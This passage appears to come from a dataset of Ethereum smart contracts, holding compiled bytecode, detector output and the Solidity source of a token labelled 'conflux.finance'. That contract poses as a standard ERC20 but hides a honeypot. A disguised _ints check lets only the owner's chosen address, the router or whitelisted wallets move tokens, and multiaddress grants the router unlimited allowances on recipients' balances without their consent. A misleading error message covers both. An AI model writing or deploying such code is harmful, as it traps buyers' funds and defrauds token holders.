b3480156102fe57600080fd5b506102e06004356107e5565b34801561031657600080fd5b5061031f6107f7565b6040805160ff9092168252519081900360200190f35b34801561034157600080fd5b506102e06107fc565b34801561035657600080fd5b5061031f610802565b34801561036b57600080fd5b506102e0610807565b34801561038057600080fd5b506102e061080e565b34801561039557600080fd5b506102e0610814565b3480156103aa57600080fd5b506103b361081a565b005b3480156103c157600080fd5b506103b36004356108c9565b3480156103d957600080fd5b506102e0600435610972565b3480156103f157600080fd5b506102e0610997565b34801561040657600080fd5b506102e06109aa565b34801561041b57600080fd5b506102e06109af565b34801561043057600080fd5b506103b360043515156109b5565b34801561044a57600080fd5b506103b36109df565b34801561045f57600080fd5b5061031f610ac5565b34801561047457600080fd5b506103b3600435610aca565b34801561048c57600080fd5b506103b3600435610ae6565b6103b3600435600160a060020a0360243516610bf3565b3480156104bb57600080fd5b506102e0600160a060020a0360043516610f31565b3480156104dc57600080fd5b506103b36004351515610f67565b3480156104f657600080fd5b506102e0610f98565b34801561050b57600080fd5b50610253610f9e565b34801561052057600080fd5b506103b3600435610ff6565b34801561053857600080fd5b506103b3600435602435611012565b34801561055357600080fd5b506103b3600160a060020a0360043516602435611064565b34801561057757600080fd5b506102e0611102565b34801561058c57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103b39436949293602493928401919081908401838280828437509497506111089650505050505050565b3480156105e557600080fd5b5061031f611132565b3480156105fa57600080fd5b50610606600435611137565b60408051600160a060020a039092168252519081900360200190f35b34801561062e57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103b39436949293602493928401919081908401838280828437509497506111659650505050505050565b34801561068757600080fd5b506102e060043561118f565b34801561069f57600080fd5b506102e06111b4565b3480156106b457600080fd5b5061031f6111ba565b6000808315156106d057600091506106ec565b508282028284828115156106e057fe5b04146106e857fe5b8091505b5092915050565b600080828481151561070157fe5b04949350505050565b6000828201838110156106e857fe5b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561079e5780601f106107735761010080835404028352916020019161079e565b820191906000526020600020905b81548152906001019060200180831161078157829003601f168201915b505050505081565b600e546000908211156107b857600080fd5b6000828152600560205260409020546107df906107d7906127106106bd565b6003546106f3565b92915050565b60056020526000908152604090205481565b600a81565b600d5481565b601281565b600e545b90565b60035490565b600e5481565b33600081815260076020526040812054811061083557600080fd5b50600160a060020a038116600081815260076020526040808220805490839055905190929183156108fc02918491818181858888f19350505050158015610880573d6000803e3d6000fd5b5060408051600160a060020a03841681526020810183905281517fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc929181900390910190a15050565b601154600160a060020a031633146108e057600080fd5b600c54600e54106108f057600080fd5b600e805460009081526005602090815260408083208590556011548454845260048352818420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905583548352600882528083208390558354835260069091528120819055815460010190915561096f9082906111bf565b50565b600e5460009082111561098457600080fd5b5060009081526005602052604090205490565b3360009081526007602052604090205490565b303190565b60035481565b601154600160a060020a031633146109cc57600080fd5b600f805460ff1916911515919091179055565b6011546000908190600160a060020a031633146109fb57600080fd5b60006010541115610ac157600191505b600e54821015610abb57601054600083815260056020526040902054610a34916107d7916106bd565b600083815260046020908152604080832054600160a060020a031683526007909152902054909150610a66908261070a565b600083815260046020908152604080832054600160a060020a031683526007825280832093909355848252600890522054610aa1908261070a565b600083815260086020526040902055600190910190610a0b565b60006010555b5050565b600581565b601154600160a060020a03163314610ae157600080fd5b600c55565b601154600090600160a060020a03163314610b0057600080fd5b503360008181526007602052604081205411610b1b57600080fd5b600160a060020a038116600090815260076020526040902054821115610b4057600080fd5b600160a060020a038116600090815260076020526040902054610b6390836111db565b600160a060020a038216600081815260076020526040808220939093559151909184156108fc02918591818181858888f19350505050158015610baa573d6000803e3d6000fd5b5060408051600160a060020a03831681526020810184905281517fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc929181900390910190a15050565b6000806000806000806000806000544210151515610c1057600080fd5b600e548a1115610c1f57600080fd5b60008a815260056020526040902054341015610c3a57600080fd5b60008a815260046020526040902054600160a060020a0316331415610c5e57600080fd5b610c6d6101dd34600a546106bd565b60008b815260066020526040902054600b5491995034039750610c90908861070a565b600b55610ca16101dd88600a6106bd565b9550610cb16101dd8860326106bd565b60008b815260086020526040902054909550610ccd908661070a565b60008b815260086020908152604080832093909355600690522054610cf390869061070a565b9450610d036101dd8860286106bd565b600f5490945060ff168015610d215750600160a060020a0389163314155b15610dcf57610d346101dd8860056106bd565b9250610d4084846111db565b9350600160a060020a0389161515610d9257601254604051600160a060020a039091169084156108fc029085906000818181858888f19350505050158015610d8c573d6000803e3d6000fd5b50610dcf565b600160a060020a038916600090815260076020526040902054610db5908461070a565b600160a060020a038a166000908152600760205260409020555b5050600088815260046020908152604080832054600160a060020a03168084526007909252909120543390610e04908661070a565b600160a060020a03808416600090815260076020526040808220939093556012549251929091169188156108fc0291899190818181858888f19350505050158015610e53573d6000803e3d6000fd5b5060008a8152600460205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055610e91846111ed565b610e996112a6565b60008a81526006602081815260408084203481556005835293208b90555254610ec39089906111bf565b7f61c83291d315cb9bb922298bc8e8c6546c556b78f795d536ffb3068c6c8b131733348c610ef66101dd34600a546106bd565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190a150505050505050505050565b601154600090600160a060020a03163314610f4b57600080fd5b50600160a060020a031660009081526007602052604090205490565b601154600160a060020a03163314610f7e57600080fd5b600f80549115156101000261ff0019909216919091179055565b60105481565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561079e5780601f106107735761010080835404028352916020019161079e565b601154600160a060020a0316331461100d57600080fd5b600d55565b601154600160a060020a0316331461102957600080fd5b601154600083815260046020526040902054600160a060020a0390811691161461105257600080fd5b60009182526005602052604090912055565b600081815260046020526040902054600160a060020a0316331461108757600080fd5b6000818152600460209081526040918290208054600160a060020a03861673ffffffffffffffffffffffffffffffffffffffff19909116811790915582513381529182015280820183905290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360600190a15050565b600b5490565b601154600160a060020a0316331461111f57600080fd5b8051610ac1906002906020840190611369565b602881565b600e5460009082111561114957600080fd5b50600090815260046020526040902054600160a060020a031690565b601154600160a060020a0316331461117c57600080fd5b8051610ac1906001906020840190611369565b600e546000908211156111a157600080fd5b5060009081526008602052604090205490565b600c5481565b603281565b6111d46003546111cf84846111db565b61070a565b6003555050565b6000828211156111e757fe5b50900390565b600160005b600e548210156112a15760008281526005602052604090205461121a906107d79085906106bd565b600083815260046020908152604080832054600160a060020a03168352600790915290205490915061124c908261070a565b600083815260046020908152604080832054600160a060020a031683526007825280832093909355848252600890522054611287908261070a565b6000838152600860205260409020556001909101906111f2565b505050565b60008060006010541115610ac157600191505b600e54821015610abb576010546000838152600560205260409020546112e2916107d7916106bd565b600083815260046020908152604080832054600160a060020a031683526007909152902054909150611314908261070a565b600083815260046020908152604080832054600160a060020a03168352600782528083209390935584825260089052205461134f908261070a565b6000838152600860205260409020556001909101906112b9565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113aa57805160ff19168380011785556113d7565b828001600101855582156113d7579182015b828111156113d75782518255916020019190600101906113bc565b506113e39291506113e7565b5090565b61080b91905b808211156113e357600081556001016113ed5600a165627a7a723058209aadfbd972c1f84277eff3e41cf58b2ab84ffde5a10daae6279b35b160d6db9c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 2,678 |
0x8f64f77b6b90a161b223c7b5d268d85690edc927
|
//--------------------------------------------
//website:https://conflux.finance
//---------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209da3a7c7215522dd4d2715cd5731b3ca2ba73212553942c70d246e7ec547cb9764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 2,679 |
0x5b56040c07d6127675e704829f8acc7565c13807
|
/**
*Submitted for verification at Etherscan.io on 2021-05-08
*/
/*
,▄m ,▄▄▄▄▄▄▄▄▄▄╖
╓▄▓██▌╓▄▓███████████▀└
▄████████████▓╬▓███████████▓▓▓▄▄▄,
╓, ,▄▄███▓╣██████▓╬╬▓████████████▀▓████████▓▄,
▀█▓▄╥ xΘ╙╠╠███▓╬▓█████╬╬╬▓██████▓╬╬╬▓▀ ▐█╬╬╬╬▓██████▌╖
╙████▓▄Q ,φ▒▒▒███╬╬█████╬╬╬▓████▓╬╬╬▓▓▀ ╕ ▐█▓▓▓╬╬╬╬╬▓█████▄
╙▓██████▓▄▄▒▒███╬╬╣████╬╬╣███╬╬▓███▀ ▄█⌐ ╫████████▓▓╬╬╬████▌
/ ▀███▓████████▓╬╬▓████╬███▓████▀ ▄██▀ ╔██████████████▓▓▓███▄
▄╙ ╙██▓▄╙▀▓█████▓▓▓██████████▀ ª▀▀└ ,▓███████▓╬╬╬▓██████████▌
,▓ ╓╠▒≥ ╙▓██▓╖ └▀▓███████▓███▓╙ ▄▓████████████▓╬╬╬╬▓███████▌
▄█ ╔▒▒▒▒" └▀███▌, ╙████▀ ~Φ▓██▓▀▀╩▓██╙▀██████▓╬╬╬╬▓██████▌
▓█ φ▒▒▒╙ ╔╔ ╙████▄▄███▀ , ██▌ ╙▓█████╬╬╬╬▓██▓└▀b
▓█ ╔▒▒▒` φ▒▒▒ⁿ ╫██████` ,▌ ╫██ ╙█████╬╬╬╬██▓
╫█─ .▒▒▒ ╠▒▒╚ ]██████¬ ▓█ ██▌ └▓███▓╬╬╬██▓
▐█▌ ╠▒▒ φ▒▒" ▐█████─ ▓█▀██▌ ███ ╬ └████╬╬╬██▌
██ ]▒▒⌐ .▒▒ ▓████ ▄█▀┤░▐██ ╓███▀ /╫▒ε ╙███╬╬╣██
▐██ ╚▒╚ ╠▒ ║████⌐ ╟▄,▓█▓┤Q▄▓█▀ ▄▀▓▓` ╓▒▓▌▒╔ └███╬╬██▌
▓█▌ ▒▒ ▒╙ ██████ ╫████▓▀▀╙ ▓ ,φ▒║█▌▒▒≥ ███╬▓██
██▌ ▒▒ ▒ ▐███╙██b └╙ ▄ÆR▀▀▀ ╓φ╠▒▒▄██▒▒▒▒ ╙███╣██
██▌ ▒Γ ╙ ███▌ ╟█ ,▓,φφ╠▒▒▒▒▒▒▒▒▒▒▒▄▓███▀▒▒▒▒╠ ▓██▓██─
██▌ ╚⌐ ⌐ ▓███ ╔▌«▒▒▒▒▄▓████████████▀░▒▒▒▒▒▒ ▐█████
███ 'ε ]███⌐ ╓▄▀φ▒▒▒▄▓█████████▓▀╬░▒▒▒▒▒▒▒▒▒ █████
╫██µ φ ███▌ ╓╔φ╠▒░▓,╠▒▒▒▓███████▀ ╙█▓▄`╙╠▒▒▒▒▒▒▒ █████
└███ ╫███ ,╠▒▒▄▓▓█▓▓▓▄▄███████▀ ▓██▌,`╚▒▒▒▒▒ ]████▌
▓██▌ ▓███¬ ╔ φ▒▒▒╠╠╠╠╬▓████████▓╙ ████▌ ╚▒▒╙ ▓████
███▄ ▄███▀ ╒ ╠≥╠▒▒▒░▄▓▌╨╚▒╚▓█████└ ║█████ └▒ ]████`
└███▌ ▓███╙ ▓▄ ╠▒▒▒▒▒██╙╙▓▓ ▒▒████ ▐██████ ,████╨
└███▌ ▐███ ╔███ ╠▒▒▒▒╫█⌐,▄▓▓ ▒▒▓██▌ ╫██████▓ ╓████▀
████µ ███b ▀╙ φ▒▒▒▒▄██▓▓╠φ╠▒▒▓███ ]████████⌐▄████┘
▀███▌ ╫███ .╔φ▒▒▒▒▒▓█▓╬░▒▒▄▓████▀ █████████████▓
╙████▌ ▓██▓▄, ▐▓▓██▄▄▄▄▓████▀└ ,█████████████▀
╙████▌µ ╙▀████████████████▓▀ ▄████████████▀
╙█████▄, └╙╙▀▀╙ ▄████████████▀
└▀█████▓▄ ▄▓███████████▀╙
╙▀██████▓▄▄, ,▄▓▓███████████▀╙
╙▀█████████▓▓▓▓▓▓▓▓▓▓▓██████████████▀▀└
